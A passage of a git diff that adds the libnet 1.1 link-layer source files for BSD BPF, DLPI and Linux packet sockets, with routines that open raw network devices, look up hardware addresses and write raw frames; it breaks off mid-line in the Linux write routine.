acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + */ + +#include <sys/param.h> /* optionally get BSD define */ +#include <sys/timeb.h> +#include <sys/file.h> +#include <sys/ioctl.h> + +#include <sys/types.h> +#include <sys/time.h> +#include <net/bpf.h> + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "../include/libnet.h" +#include <sys/sysctl.h> +#include <net/route.h> +#include <net/if_dl.h> +#include "../include/gnuc.h" +#include "../include/bpf.h" + +#ifdef HAVE_OS_PROTO_H +#include "../include/os-proto.h" +#endif + +int +libnet_bpf_open(int8_t *err_buf) +{ + int i, fd; + int8_t device[sizeof "/dev/bpf000"]; + + /* + * Go through all the minors and find one that isn't in use. + */ + for (i = 0;;i++) + { + sprintf(device, "/dev/bpf%d", i); + + fd = open(device, O_RDWR); + if (fd == -1 && errno == EBUSY) + { + /* + * Device is busy. + */ + continue; + } + else + { + /* + * Either we've got a valid file descriptor, or errno is not + * EBUSY meaning we've probably run out of devices. + */ + break; + } + } + + if (fd == -1) + { + snprintf(err_buf, LIBNET_ERRBUF_SIZE, "%s(): open(): (%s): %s\n", + __func__, device, strerror(errno)); + } + return (fd); +} + + +int +libnet_open_link(libnet_t *l) +{ + struct ifreq ifr; + struct bpf_version bv; + u_int v; + +#if defined(BIOCGHDRCMPLT) && defined(BIOCSHDRCMPLT) && !(__APPLE__) + u_int spoof_eth_src = 1; +#endif + + if (l == NULL) + { + return (-1); + } + + if (l->device == NULL) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): NULL device\n", + __func__); + goto bad; + } + + l->fd = libnet_bpf_open(l->err_buf); + if (l->fd == -1) + { + goto bad; + } + + /* + * Get bpf version. + */ + if (ioctl(l->fd, BIOCVERSION, (caddr_t)&bv) < 0) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): BIOCVERSION: %s\n", + __func__, strerror(errno)); + goto bad; + } + + if (bv.bv_major != BPF_MAJOR_VERSION || bv.bv_minor < BPF_MINOR_VERSION) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): kernel bpf filter out of date\n", __func__); + goto bad; + } + + /* + * Attach network interface to bpf device. + */ + strncpy(ifr.ifr_name, l->device, sizeof(ifr.ifr_name) - 1); + ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0'; + + if (ioctl(l->fd, BIOCSETIF, (caddr_t)&ifr) == -1) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): BIOCSETIF: (%s): %s\n", + __func__, l->device, strerror(errno)); + goto bad; + } + + /* + * Get the data link-layer type. + */ + if (ioctl(l->fd, BIOCGDLT, (caddr_t)&v) == -1) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): BIOCGDLT: %s\n", + __func__, strerror(errno)); + goto bad; + } + + /* + * NetBSD and FreeBSD BPF have an ioctl for enabling/disabling + * automatic filling of the link level source address. + */ +#if defined(BIOCGHDRCMPLT) && defined(BIOCSHDRCMPLT) && !(__APPLE__) + if (ioctl(l->fd, BIOCSHDRCMPLT, &spoof_eth_src) == -1) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): BIOCSHDRCMPLT: %s\n", + __func__, strerror(errno)); + goto bad; + } +#endif + + /* + * Assign link type and offset. + */ + switch (v) + { + case DLT_SLIP: + l->link_offset = 0x10; + break; + case DLT_RAW: + l->link_offset = 0x0; + break; + case DLT_PPP: + l->link_offset = 0x04; + break; + case DLT_EN10MB: + default: + l->link_offset = 0xe; /* default to ethernet */ + break; + } +#if _BSDI_VERSION - 0 >= 199510 + switch (v) + { + case DLT_SLIP: + v = DLT_SLIP_BSDOS; + l->link_offset = 0x10; + break; + case DLT_PPP: + v = DLT_PPP_BSDOS; + l->link_offset = 0x04; + break; + } +#endif + l->link_type = v; + + return (1); + +bad: + if (l->fd > 0) + { + close(l->fd); /* this can fail ok */ + } + return (-1); +} + + +int +libnet_close_link(libnet_t *l) +{ + if (close(l->fd) == 0) + { + return (1); + } + else + { + return (-1); + } +} + + +int +libnet_write_link(libnet_t *l, u_int8_t *packet, u_int32_t size) +{ + int c; + + if (l == NULL) + { + return (-1); + } + + c = write(l->fd, packet, size); + if (c != size) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): %d bytes written (%s)\n", __func__, c, strerror(errno)); + } + return (c); +} + + +struct libnet_ether_addr * +libnet_get_hwaddr(libnet_t *l) +{ + int mib[6]; + size_t len; + int8_t *buf, *next, *end; + struct if_msghdr *ifm; + struct sockaddr_dl *sdl; + struct libnet_ether_addr *ea = NULL; + + mib[0] = CTL_NET; + mib[1] = AF_ROUTE; + mib[2] = 0; + mib[3] = AF_LINK; + mib[4] = NET_RT_IFLIST; + mib[5] = 0; + + if (l == NULL) + { + return (NULL); + } + + if (l->device == NULL) + { + if (libnet_select_device(l) == -1) + { + /* err msg set in libnet_select_device */ + return (NULL); + } + } + + if (sysctl(mib, 6, NULL, &len, NULL, 0) == -1) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): sysctl(): %s\n", + __func__, strerror(errno)); + return (NULL); + } + + buf = (int8_t *)malloc(len); + if (buf == NULL) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): malloc(): %s\n", + __func__, strerror(errno)); + return (NULL); + } + if (sysctl(mib, 6, buf, &len, NULL, 0) < 0) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): sysctl(): %s\n", + __func__, strerror(errno)); + free(buf); + return (NULL); + } + end = buf + len; + + for (next = buf ; next < end ; next += ifm->ifm_msglen) + { + ifm = (struct if_msghdr *)next; + if (ifm->ifm_type == RTM_IFINFO) + { + sdl = (struct sockaddr_dl *)(ifm + 1); + if (strncmp(&sdl->sdl_data[0], l->device, sdl->sdl_nlen) == 0) + { + if (!(ea = malloc(sizeof(struct libnet_ether_addr)))) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): malloc(): %s", __func__, strerror(errno)); + free(buf); + return (NULL); + } + memcpy(ea->ether_addr_octet, LLADDR(sdl), ETHER_ADDR_LEN); + break; + } + } + } + free(buf); + return (ea); +} + + +/* EOF */ diff --git a/libnet/src/libnet_link_dlpi.c b/libnet/src/libnet_link_dlpi.c new file mode 100644 index 0000000..043bb5e --- /dev/null +++ b/libnet/src/libnet_link_dlpi.c @@ -0,0 +1,770 @@ +/* + * $Id: libnet_link_dlpi.c,v 1.8 2004/01/28 19:45:00 mike Exp $ + * + * libnet + * libnet_dlpi.c - dlpi routines + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Copyright (c) 1993, 1994, 1995, 1996, 1997 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + * + * This code contributed by Atanu Ghosh (atanu@cs.ucl.ac.uk), + * University College London. + */ + + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include <sys/types.h> +#include <sys/time.h> +#ifdef HAVE_SYS_BUFMOD_H +#include <sys/bufmod.h> +#endif +#include <sys/dlpi.h> +#ifdef HAVE_HPUX9 +#include <sys/socket.h> +#endif +#ifdef DL_HP_PPA_ACK_OBS +#include <sys/stat.h> +#endif +#include <sys/stream.h> +#if defined(HAVE_SOLARIS) && defined(HAVE_SYS_BUFMOD_H) +#include <sys/systeminfo.h> +#endif + +#ifdef HAVE_SYS_DLPI_EXT_H +#include <sys/dlpi_ext.h> +#endif + +#ifdef HAVE_HPUX9 +#include <net/if.h> +#endif + +#include <ctype.h> +#ifdef HAVE_HPUX9 +#include <nlist.h> +#include <dlpi_ext.h> +#endif +#include <errno.h> +#include <fcntl.h> +#include <memory.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <stropts.h> +#include <unistd.h> + +#include "../include/libnet.h" +#include "../include/bpf.h" + +#include "../include/gnuc.h" +#ifdef HAVE_OS_PROTO_H +#include "../include/os-proto.h" +#endif + +#ifndef DLPI_DEV_PREFIX +#define DLPI_DEV_PREFIX "/dev" +#endif + +#define MAXDLBUF 8192 + +/* Forwards */ +static int dlattachreq(int, bpf_u_int32, int8_t *); +static int dlbindack(int, int8_t *, int8_t *); +static int dlbindreq(int, bpf_u_int32, int8_t *); +static int dlinfoack(int, int8_t *, int8_t *); +static int dlinforeq(int, int8_t *); +static int dlokack(int, const int8_t *, int8_t *, int8_t *); +static int recv_ack(int, int, const int8_t *, int8_t *, int8_t *); +static int send_request(int, int8_t *, int, int8_t *, int8_t *, int); +#ifdef HAVE_SYS_BUFMOD_H +static int strioctl(int, int, int, int8_t *); +#endif +#ifdef HAVE_HPUX9 +static int dlpi_kread(int, off_t, void *, u_int, int8_t *); +#endif +#ifdef HAVE_DEV_DLPI +static int get_dlpi_ppa(int, const int8_t *, int, int8_t *); +#endif + +/* XXX Needed by HP-UX (at least) */ +static bpf_u_int32 ctlbuf[MAXDLBUF]; + + +int +libnet_open_link(libnet_t *l) +{ + register int8_t *cp; + int8_t *eos; + register int ppa; + register dl_info_ack_t *infop; + bpf_u_int32 buf[MAXDLBUF]; + int8_t dname[100]; +#ifndef HAVE_DEV_DLPI + int8_t dname2[100]; +#endif + + if (l == NULL) + { + return (-1); + } + + /* + * Determine device and ppa + */ + cp = strpbrk(l->device, "0123456789"); + if (cp == NULL) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): %s is missing unit number\n", __func__, l->device); + goto bad; + } + ppa = strtol(cp, &eos, 10); + if (*eos != '\0') + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): %s bad unit number\n", __func__, l->device); + goto bad; + } + + if (*(l->device) == '/') + { + memset(&dname, 0, sizeof(dname)); + strncpy(dname, l->device, sizeof(dname) - 1); + dname[sizeof(dname) - 1] = '\0'; + } + else + { + sprintf(dname, "%s/%s", DLPI_DEV_PREFIX, l->device); + } +#ifdef HAVE_DEV_DLPI + /* + * Map network device to /dev/dlpi unit + */ + cp = "/dev/dlpi"; + + l->fd = open(cp, O_RDWR); + if (l->fd == -1) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): open(): %s: %s\n", + __func__, cp, strerror(errno)); + goto bad; + } + + /* + * Map network interface to /dev/dlpi unit + */ + ppa = get_dlpi_ppa(l->fd, dname, ppa, l->err_buf); + if (ppa < 0) + { + goto bad; + } +#else + /* + * Try device without unit number + */ + strcpy(dname2, dname); + cp = strchr(dname, *cp); + *cp = '\0'; + + l->fd = open(dname, O_RDWR); + if (l->fd == -1) + { + if (errno != ENOENT) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): open(): %s: %s\n", + __func__, dname, strerror(errno)); + goto bad; + } + + /* + * Try again with unit number + */ + l->fd = open(dname2, O_RDWR); + if (l->fd == -1) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): open(): %s: %s\n", + __func__, dname2, strerror(errno)); + goto bad; + } + + cp = dname2; + while (*cp && !isdigit((int)*cp)) + { + cp++; + } + if (*cp) + { + ppa = atoi(cp); + } + else + /* + * XXX Assume unit zero + */ + ppa = 0; + } +#endif + /* + * Attach if "style 2" provider + */ + if (dlinforeq(l->fd, l->err_buf) < 0 || + dlinfoack(l->fd, (int8_t *)buf, l->err_buf) < 0) + { + goto bad; + } + infop = &((union DL_primitives *)buf)->info_ack; + if (infop->dl_provider_style == DL_STYLE2 && + (dlattachreq(l->fd, ppa, l->err_buf) + < 0 || dlokack(l->fd, "attach", (int8_t *)buf, l->err_buf) < 0)) + { + goto bad; + } + + /* + * Bind HP-UX 9 and HP-UX 10.20 + */ +#if defined(HAVE_HPUX9) || defined(HAVE_HPUX10_20) || defined(HAVE_HPUX11) || defined(HAVE_SOLARIS) + if (dlbindreq(l->fd, 0, l->err_buf) < 0 || + dlbindack(l->fd, (int8_t *)buf, l->err_buf) < 0) + { + goto bad; + } +#endif + + /* + * Determine link type + */ + if (dlinforeq(l->fd, l->err_buf) < 0 || + dlinfoack(l->fd, (int8_t *)buf, l->err_buf) < 0) + { + goto bad; + } + + infop = &((union DL_primitives *)buf)->info_ack; + switch (infop->dl_mac_type) + { + case DL_CSMACD: + case DL_ETHER: + l->link_type = DLT_EN10MB; + l->link_offset = 0xe; + break; + case DL_FDDI: + l->link_type = DLT_FDDI; + l->link_offset = 0x15; + break; + case DL_TPR: + l->link_type = DLT_PRONET; + l->link_offset = 0x16; + break; + default: + sprintf(l->err_buf, "%s(): unknown mac type 0x%lu\n", __func__, + (u_int32_t) infop->dl_mac_type); + goto bad; + } + +#ifdef DLIOCRAW + /* + * This is a non standard SunOS hack to get the ethernet header. + */ + if (strioctl(l->fd, DLIOCRAW, 0, NULL) < 0) + { + sprintf(l->err_buf, "%s(): DLIOCRAW: %s\n", __func__, strerror(errno)); + goto bad; + } +#endif + + return (1); +bad: + if (l->fd > 0) + { + close(l->fd); /* this can fail ok */ + } + return (-1); +} + + +static int +send_request(int fd, int8_t *ptr, int len, int8_t *what, int8_t *ebuf, +int flags) +{ + struct strbuf ctl; + + ctl.maxlen = 0; + ctl.len = len; + ctl.buf = ptr; + + if (putmsg(fd, &ctl, (struct strbuf *) NULL, flags) < 0) + { + sprintf(ebuf, "%s(): putmsg \"%s\": %s\n", __func__, what, + strerror(errno)); + return (-1); + } + return (0); +} + +static int +recv_ack(int fd, int size, const int8_t *what, int8_t *bufp, int8_t *ebuf) +{ + union DL_primitives *dlp; + struct strbuf ctl; + int flags; + + ctl.maxlen = MAXDLBUF; + ctl.len = 0; + ctl.buf = bufp; + + flags = 0; + if (getmsg(fd, &ctl, (struct strbuf*)NULL, &flags) < 0) + { + sprintf(ebuf, "%s(): %s getmsg: %s\n", __func__, what, strerror(errno)); + return (-1); + } + + dlp = (union DL_primitives *)ctl.buf; + switch (dlp->dl_primitive) + { + case DL_INFO_ACK: + case DL_PHYS_ADDR_ACK: + case DL_BIND_ACK: + case DL_OK_ACK: +#ifdef DL_HP_PPA_ACK + case DL_HP_PPA_ACK: +#endif + /* + * These are OK + */ + break; + + case DL_ERROR_ACK: + switch (dlp->error_ack.dl_errno) + { + case DL_BADPPA: + sprintf(ebuf, "recv_ack: %s bad ppa (device unit)", what); + break; + case DL_SYSERR: + sprintf(ebuf, "recv_ack: %s: %s", + what, strerror(dlp->error_ack.dl_unix_errno)); + break; + case DL_UNSUPPORTED: + sprintf(ebuf, + "recv_ack: %s: Service not supplied by provider", what); + break; + default: + sprintf(ebuf, "recv_ack: %s error 0x%x", what, + (bpf_u_int32)dlp->error_ack.dl_errno); + break; + } + return (-1); + + default: + sprintf(ebuf, "recv_ack: %s unexpected primitive ack 0x%x ", + what, (bpf_u_int32)dlp->dl_primitive); + return (-1); + } + + if (ctl.len < size) + { + sprintf(ebuf, "recv_ack: %s ack too small (%d < %d)", + what, ctl.len, size); + return (-1); + } + return (ctl.len); +} + +static int +dlattachreq(int fd, bpf_u_int32 ppa, int8_t *ebuf) +{ + dl_attach_req_t req; + + req.dl_primitive = DL_ATTACH_REQ; + req.dl_ppa = ppa; + + return (send_request(fd, (int8_t *)&req, sizeof(req), "attach", ebuf, 0)); +} + +static int +dlbindreq(int fd, bpf_u_int32 sap, int8_t *ebuf) +{ + + dl_bind_req_t req; + + memset((int8_t *)&req, 0, sizeof(req)); + req.dl_primitive = DL_BIND_REQ; +#ifdef DL_HP_RAWDLS + req.dl_max_conind = 1; /* XXX magic number */ + /* + * 22 is INSAP as per the HP-UX DLPI Programmer's Guide + */ + req.dl_sap = 22; + req.dl_service_mode = DL_HP_RAWDLS; +#else + req.dl_sap = sap; +#ifdef DL_CLDLS + req.dl_service_mode = DL_CLDLS; +#endif +#endif + return (send_request(fd, (int8_t *)&req, sizeof(req), "bind", ebuf, 0)); +} + +static int +dlbindack(int fd, int8_t *bufp, int8_t *ebuf) +{ + return (recv_ack(fd, DL_BIND_ACK_SIZE, "bind", bufp, ebuf)); +} + +static int +dlokack(int fd, const int8_t *what, int8_t *bufp, int8_t *ebuf) +{ + return (recv_ack(fd, DL_OK_ACK_SIZE, what, bufp, ebuf)); +} + +static int +dlinforeq(int fd, int8_t *ebuf) +{ + dl_info_req_t req; + + req.dl_primitive = DL_INFO_REQ; + + return (send_request(fd, (int8_t *)&req, sizeof(req), "info", ebuf, + RS_HIPRI)); +} + +static int +dlinfoack(int fd, int8_t *bufp, int8_t *ebuf) +{ + return (recv_ack(fd, DL_INFO_ACK_SIZE, "info", bufp, ebuf)); +} + + +#ifdef HAVE_SYS_BUFMOD_H +static int +strioctl(int fd, int cmd, int len, int8_t *dp) +{ + struct strioctl str; + int rc; + + str.ic_cmd = cmd; + str.ic_timout = -1; + str.ic_len = len; + str.ic_dp = dp; + + rc = ioctl(fd, I_STR, &str); + if (rc < 0) + { + return (rc); + } + else + { + return (str.ic_len); + } +} +#endif + + +#if (defined(DL_HP_PPA_ACK_OBS) && !defined(HAVE_HPUX11)) +/* + * Under HP-UX 10, we can ask for the ppa + */ +static int +get_dlpi_ppa(register int fd, register const int8_t *device, register int unit, +register int8_t *ebuf) +{ + register dl_hp_ppa_ack_t *ap; + register dl_hp_ppa_info_t *ip; + register int i; + register u_int32_t majdev; + dl_hp_ppa_req_t req; + struct stat statbuf; + bpf_u_int32 buf[MAXDLBUF]; + + if (stat(device, &statbuf) < 0) + { + sprintf(ebuf, "stat: %s: %s", device, strerror(errno)); + return (-1); + } + majdev = major(statbuf.st_rdev); + + memset((int8_t *)&req, 0, sizeof(req)); + req.dl_primitive = DL_HP_PPA_REQ; + + memset((int8_t *)buf, 0, sizeof(buf)); + if (send_request(fd, (int8_t *)&req, sizeof(req), "hpppa", ebuf, 0) < 0 || + recv_ack(fd, DL_HP_PPA_ACK_SIZE, "hpppa", (int8_t *)buf, ebuf) < 0) + { + return (-1); + } + + ap = (dl_hp_ppa_ack_t *)buf; + ip = (dl_hp_ppa_info_t *)((u_int8_t *)ap + ap->dl_offset); + + for (i = 0; i < ap->dl_count; i++) + { + if (ip->dl_mjr_num == majdev && ip->dl_instance_num == unit) + break; + + ip = (dl_hp_ppa_info_t *)((u_int8_t *)ip + ip->dl_next_offset); + } + + if (i == ap->dl_count) + { + sprintf(ebuf, "can't find PPA for %s", device); + return (-1); + } + + if (ip->dl_hdw_state == HDW_DEAD) + { + sprintf(ebuf, "%s: hardware state: DOWN\n", device); + return (-1); + } + return ((int)ip->dl_ppa); +} +#endif + +#ifdef HAVE_HPUX9 +/* + * Under HP-UX 9, there is no good way to determine the ppa. + * So punt and read it from /dev/kmem. + */ +static struct nlist nl[] = +{ +#define NL_IFNET 0 + { "ifnet" }, + { "" } +}; + +static int8_t path_vmunix[] = "/hp-ux"; + +/* + * Determine ppa number that specifies ifname + */ +static int +get_dlpi_ppa(register int fd, register const int8_t *ifname, register int unit, + register int8_t *ebuf) +{ + register const int8_t *cp; + register int kd; + void *addr; + struct ifnet ifnet; + int8_t if_name[sizeof(ifnet.if_name)], tifname[32]; + + cp = strrchr(ifname, '/'); + if (cp != NULL) + { + ifname = cp + 1; + } + if (nlist(path_vmunix, &nl) < 0) + { + sprintf(ebuf, "nlist %s failed", path_vmunix); + return (-1); + } + + if (nl[NL_IFNET].n_value == 0) + { + sprintf(ebuf, "could't find %s kernel symbol", nl[NL_IFNET].n_name); + return (-1); + } + + kd = open("/dev/kmem", O_RDONLY); + if (kd < 0) + { + sprintf(ebuf, "kmem open: %s", strerror(errno)); + return (-1); + } + + if (dlpi_kread(kd, nl[NL_IFNET].n_value, &addr, sizeof(addr), ebuf) < 0) + { + close(kd); + return (-1); + } + for (; addr != NULL; addr = ifnet.if_next) + { + if (dlpi_kread(kd, (off_t)addr, &ifnet, sizeof(ifnet), ebuf) < 0 || + dlpi_kread(kd, (off_t)ifnet.if_name, + if_name, sizeof(if_name), ebuf) < 0) + { + close(kd); + return (-1); + } + sprintf(tifname, "%.*s%d", + (int)sizeof(if_name), if_name, ifnet.if_unit); + if (strcmp(tifname, ifname) == 0) + { + return (ifnet.if_index); + } + } + + sprintf(ebuf, "Can't find %s", ifname); + return (-1); +} + +static int +dlpi_kread(register int fd, register off_t addr, register void *buf, +register u_int len, register int8_t *ebuf) +{ + register int cc; + + if (lseek(fd, addr, SEEK_SET) < 0) + { + sprintf(ebuf, "lseek: %s", strerror(errno)); + return (-1); + } + cc = read(fd, buf, len); + if (cc < 0) + { + sprintf(ebuf, "read: %s", strerror(errno)); + return (-1); + } + else if (cc != len) + { + sprintf(ebuf, "int16_t read (%d != %d)", cc, len); + return (-1); + } + return (cc); +} +#endif + +#define ETHERADDRL 6 +struct EnetHeaderInfo +{ + struct libnet_ether_addr DestEtherAddr; + u_int16_t EtherFrameType; +}; + + +int +libnet_close_link(libnet_t *l) +{ + if (close(l->fd) == 0) + { + free(l); + return (1); + } + else + { + free(l); + return (-1); + } +} + +#ifdef HAVE_HPUX11 +int +libnet_write_link(libnet_t *l, u_int8_t *packet, u_int32_t size) +{ + struct strbuf data, ctl; + dl_hp_rawdata_req_t *rdata; + int c; + + if (l == NULL) + { + return (-1); + } + + rdata = (dl_hp_rawdata_req_t *)ctlbuf; + rdata->dl_primitive = DL_HP_RAWDATA_REQ; + + /* send it */ + ctl.len = sizeof(dl_hp_rawdata_req_t); + ctl.maxlen = sizeof(dl_hp_rawdata_req_t); + ctl.buf = (int8_t *)rdata; + + data.maxlen = size; + data.len = size; + data.buf = packet; + + c = putmsg(l->fd, &ctl, &data, 0); + if (c == -1) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "libnet_write_link(): %d bytes written (%s)\n", c, + strerror(errno)); + return (-1); + } + else + { + return (size); + } +} +#else +int +libnet_write_link(libnet_t *l, u_int8_t *packet, u_int32_t size) +{ + int c; + struct strbuf data; + + if (l == NULL) + { + return (-1); + } + + data.maxlen = size; + data.len = size; + data.buf = packet; + + c = putmsg(l->fd, NULL, &data, 0); + if (c == -1) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "libnet_write_link: %d bytes written (%s)\n", c, + strerror(errno)); + return (-1); + } + else + { + return (size); + } +} +#endif + +struct libnet_ether_addr * +libnet_get_hwaddr(libnet_t *l) +{ + int8_t buf[2048]; + union DL_primitives *dlp; + struct libnet_ether_addr *eap; + + if (l == NULL) + { + return (NULL); + } + + dlp = (union DL_primitives *)buf; + + dlp->physaddr_req.dl_primitive = DL_PHYS_ADDR_REQ; + dlp->physaddr_req.dl_addr_type = DL_CURR_PHYS_ADDR; + + if (send_request(l->fd, (int8_t *)dlp, DL_PHYS_ADDR_REQ_SIZE, "physaddr", + l->err_buf, 0) < 0) + { + return (NULL); + } + if (recv_ack(l->fd, DL_PHYS_ADDR_ACK_SIZE, "physaddr", (int8_t *)dlp, + l->err_buf) < 0) + { + return (NULL); + } + + eap = (struct libnet_ether_addr *) + ((int8_t *) dlp + dlp->physaddr_ack.dl_addr_offset); + return (eap); +} + +/* EOF */ diff --git a/libnet/src/libnet_link_linux.c b/libnet/src/libnet_link_linux.c new file mode 100644 index 0000000..d0bbf9a --- /dev/null +++ b/libnet/src/libnet_link_linux.c @@ -0,0 +1,295 @@ +/* + * $Id: libnet_link_linux.c,v 1.5 2004/01/03 20:31:02 mike Exp $ + * + * libnet 1.1 + * libnet_link_linux.c - linux packet socket and pack socket routines + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that: (1) source code distributions + * retain the above copyright notice and this paragraph in its entirety, (2) + * distributions including binary code include the above copyright notice and + * this paragraph in its entirety in the documentation or other materials + * provided with the distribution, and (3) all advertising materials mentioning + * features or use of this software display the following acknowledgement: + * ``This product includes software developed by the University of California, + * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of + * the University nor the names of its contributors may be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include <sys/time.h> + +#include <net/if.h> +#if (__GLIBC__) +#include <netinet/if_ether.h> +#include <net/if_arp.h> +#else +#include <linux/if_arp.h> +#include <linux/if_ether.h> +#endif + +#if (HAVE_PACKET_SOCKET) +#ifndef SOL_PACKET +#define SOL_PACKET 263 +#endif /* SOL_PACKET */ +#if __GLIBC__ >= 2 && __GLIBC_MINOR >= 1 +#include <netpacket/packet.h> +#include <net/ethernet.h> /* the L2 protocols */ +#else +#include <asm/types.h> +#include <linux/if_packet.h> +#include <linux/if_ether.h> /* The L2 protocols */ +#endif +#endif /* HAVE_PACKET_SOCKET */ + +#include "../include/bpf.h" +#include "../include/libnet.h" + +#include "../include/gnuc.h" +#ifdef HAVE_OS_PROTO_H +#include "../include/os-proto.h" +#endif + + +int +libnet_open_link(libnet_t *l) +{ + struct ifreq ifr; + int n = 1; + + if (l == NULL) + { + return (-1); + } + +#if (HAVE_PACKET_SOCKET) + l->fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); +#else + l->fd = socket(PF_INET, SOCK_PACKET, htons(ETH_P_ALL)); +#endif + if (l->fd == -1) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "socket: %s", strerror(errno)); + goto bad; + } + + memset(&ifr, 0, sizeof (ifr)); + strncpy(ifr.ifr_name, l->device, sizeof (ifr.ifr_name) -1); + ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0'; + + if (ioctl(l->fd, SIOCGIFHWADDR, &ifr) < 0 ) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "SIOCGIFHWADDR: %s", strerror(errno)); + goto bad; + } + + switch (ifr.ifr_hwaddr.sa_family) + { + case ARPHRD_ETHER: + case ARPHRD_METRICOM: +#ifdef ARPHRD_LOOPBACK + case ARPHRD_LOOPBACK: +#endif + l->link_type = DLT_EN10MB; + l->link_offset = 0xe; + break; + case ARPHRD_SLIP: + case ARPHRD_CSLIP: + case ARPHRD_SLIP6: + case ARPHRD_CSLIP6: + case ARPHRD_PPP: + l->link_type = DLT_RAW; + break; + case ARPHRD_FDDI: + l->link_type = DLT_FDDI; + l->link_offset = 0x15; + break; + /* Token Ring */ + case ARPHRD_IEEE802: + case ARPHRD_IEEE802_TR: + case ARPHRD_PRONET: + l->link_type = DLT_PRONET; + l->link_offset = 0x16; + break; + + default: + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "unknown physical layer type 0x%x\n", + ifr.ifr_hwaddr.sa_family); + goto bad; + } +#ifdef SO_BROADCAST +/* + * man 7 socket + * + * Set or get the broadcast flag. When enabled, datagram sockets + * receive packets sent to a broadcast address and they are allowed + * to send packets to a broadcast address. This option has no + * effect on stream-oriented sockets. + */ + if (setsockopt(l->fd, SOL_SOCKET, SO_BROADCAST, &n, sizeof(n)) == -1) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s: set SO_BROADCAST failed: %s\n", + __func__, strerror(errno)); + goto bad; + } +#endif /* SO_BROADCAST */ + + return (1); + +bad: + if (l->fd >= 0) + { + close(l->fd); + } + return (-1); +} + + +int +libnet_close_link(libnet_t *l) +{ + if (close(l->fd) == 0) + { + return (1); + } + else + { + return (-1); + } +} + + +#if (HAVE_PACKET_SOCKET) +static int +get_iface_index(int fd, const int8_t *device) +{ + struct ifreq ifr; + + /* memset(&ifr, 0, sizeof(ifr)); */ + strncpy (ifr.ifr_name, device, sizeof(ifr.ifr_name) - 1); + ifr.ifr_name[sizeof(ifr.ifr_name)-1] = '\0'; + + if (ioctl(fd, SIOCGIFINDEX, &ifr) == -1) + { + return (-1); + } + + return ifr.ifr_ifindex; +} +#endif + + +int +libnet_write_link(libnet_t *l, u_int8_t *packet, u_int32_t size) +{ + int c; +#if (HAVE_PACKET_SOCKET) + struct sockaddr_ll sa; +#else + struct sockaddr sa; +#endif + + if (l == NULL) + { + return (-1); + } + + memset(&sa, 0, sizeof (sa)); +#if (HAVE_PACKET_SOCKET) + sa.sll_family = AF_PACKET; + sa.sll_ifindex = get_iface_index(l->fd, l->device); + if (sa.sll_ifindex == -1) + { + return (-1); + } + sa.sll_protocol = htons(ETH_P_ALL); +#else + strncpy(sa.sa_data, l->device, sizeof (sa.sa_data) - 1); + sa.sa_data[sizeof (sa.sa_data) - 1] = 0; +#endif + + c = sendto(l->fd, packet, size, 0, + (struct 